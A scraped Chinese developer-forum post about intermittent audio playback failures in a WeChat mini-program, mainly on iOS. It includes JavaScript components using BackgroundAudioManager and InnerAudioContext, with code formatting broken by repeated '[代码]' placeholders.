res.errMsg});[代码][代码] [代码][代码]});[代码][代码] [代码][代码]},[代码][代码] [代码][代码]},[代码] [代码] [代码][代码]ready() {[代码][代码] [代码][代码]this[代码][代码].nativePlayData();[代码][代码] [代码][代码]},[代码] [代码] [代码][代码]detached() {[代码][代码] [代码][代码]this[代码][代码].ctx.stop();[代码][代码] [代码][代码]}[代码][代码]});[代码] b. InnerAudioContext版本 ⬇⬇⬇⬇⬇⬇ [代码]Component({[代码][代码] [代码][代码]properties: {[代码][代码] [代码][代码]source: {[代码][代码] [代码][代码]type: Object,[代码][代码] [代码][代码]}[代码][代码] [代码][代码]},[代码] [代码] [代码][代码]methods: {[代码][代码] [代码][代码]nativePlayData() {[代码][代码] [代码][代码]const self = [代码][代码]this[代码][代码];[代码][代码] [代码][代码]const data = [代码][代码]this[代码][代码].data.source;[代码][代码] [代码][代码]const innerAudioContext = wx.createInnerAudioContext();[代码] [代码] [代码][代码]this[代码][代码].ctx = innerAudioContext;[代码][代码] [代码][代码]innerAudioContext.autoplay = [代码][代码]true[代码][代码];[代码][代码] [代码][代码]innerAudioContext.src = data.playUrl;[代码] [代码] [代码][代码]innerAudioContext.onTimeUpdate([代码][代码]this[代码][代码].updateHandler = [代码][代码]function[代码][代码](e) {[代码][代码] [代码][代码]self.triggerEvent([代码][代码]'time-update'[代码][代码], e);[代码][代码] [代码][代码]});[代码] [代码] [代码][代码]innerAudioContext.onError([代码][代码]this[代码][代码].errorHandler = [代码][代码]function[代码][代码](res) {[代码][代码] [代码][代码]self.triggerEvent([代码][代码]'audio-error'[代码][代码], {code: res.errCode, text: res.errCode + res.errMsg});[代码][代码] [代码][代码]});[代码][代码] [代码][代码]},[代码][代码] [代码][代码]},[代码] [代码] [代码][代码]ready() {[代码][代码] [代码][代码]this[代码][代码].nativePlayData();[代码][代码] [代码][代码]},[代码] [代码] [代码][代码]detached() {[代码][代码] [代码][代码]this[代码][代码].ctx.stop();[代码] [代码] [代码][代码]try[代码] [代码]{[代码][代码] [代码][代码]this[代码][代码].ctx.offError([代码][代码]this[代码][代码].errorHandler);[代码][代码] [代码][代码]} [代码][代码]catch[代码] [代码](e) {}[代码] [代码] [代码][代码]try[代码] [代码]{[代码][代码] [代码][代码]this[代码][代码].ctx.offTimeUpdate([代码][代码]this[代码][代码].updateHandler);[代码][代码] [代码][代码]} [代码][代码]catch[代码] [代码](e) {}[代码][代码] [代码][代码]}[代码][代码]});[代码] # 用户检测结果: [图片] 下面是经过我们半个月的持续观察,总结出来的信息,希望能帮助找出问题。 每天影响用户0.2~1%不等。 用户不可以播放的时候,影响时长为0.5~5天不等。 跟网络也有一定关系,之前接待的一个用户就是4g不可以播,切到wifi可以;然后再切回4g时,依然不可以。 我们的服务没问题,如图BackgroundAudioManager 不可以, InnerAudioContext 可以。直接网页打开链接也能播。 多见于IOS。
2020-03-27